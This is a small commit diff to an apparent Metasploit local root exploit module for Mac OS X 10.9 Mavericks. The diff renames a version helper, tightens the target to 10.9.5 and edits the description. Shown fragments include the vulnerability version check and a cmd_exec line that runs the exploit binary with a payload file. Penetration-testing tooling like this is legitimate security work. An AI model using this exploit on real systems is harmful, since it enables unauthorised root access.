Update description, rename xnu_ver -> osx_ver.

Author: jvennix-r7

modules/exploits/osx/local/iokit_keyboard_root.rb

@@ -21,7 +21,7 @@ def initialize(info={})
         corruption in Mac OS X before 10.10. By abusing a bug in the IORegistry, kernel
         pointers can also be leaked, allowing a full kASLR bypass.
 
-        Tested on Mavericks 10.9.5, and should possibly work on previous versions.
+        Tested on Mavericks 10.9.5, and should work on previous versions.
 
         The issue has been patched silently in Yosemite.
       },
@@ -44,7 +44,7 @@ def initialize(info={})
       'Arch'          => [ ARCH_X86_64 ],
       'SessionTypes'  => [ 'shell', 'meterpreter' ],
       'Targets'       => [
-        [ 'Mac OS X 10.9 Mavericks x64 (Native Payload)',
+        [ 'Mac OS X 10.9.5 Mavericks x64 (Native Payload)',
           {
             'Platform' => 'osx',
             'Arch' => ARCH_X86_64
@@ -57,7 +57,7 @@ def initialize(info={})
   end
 
   def check
-    if ver_lt(xnu_ver, "10.10")
+    if ver_lt(osx_ver, "10.10")
       Exploit::CheckCode::Vulnerable
     else
       Exploit::CheckCode::Safe
@@ -85,7 +85,7 @@ def exploit
     cmd_exec("#{tmpfile} #{payloadfile}")
   end
 
-  def xnu_ver
+  def osx_ver
     cmd_exec("sw_vers -productVersion").to_s.strip
   end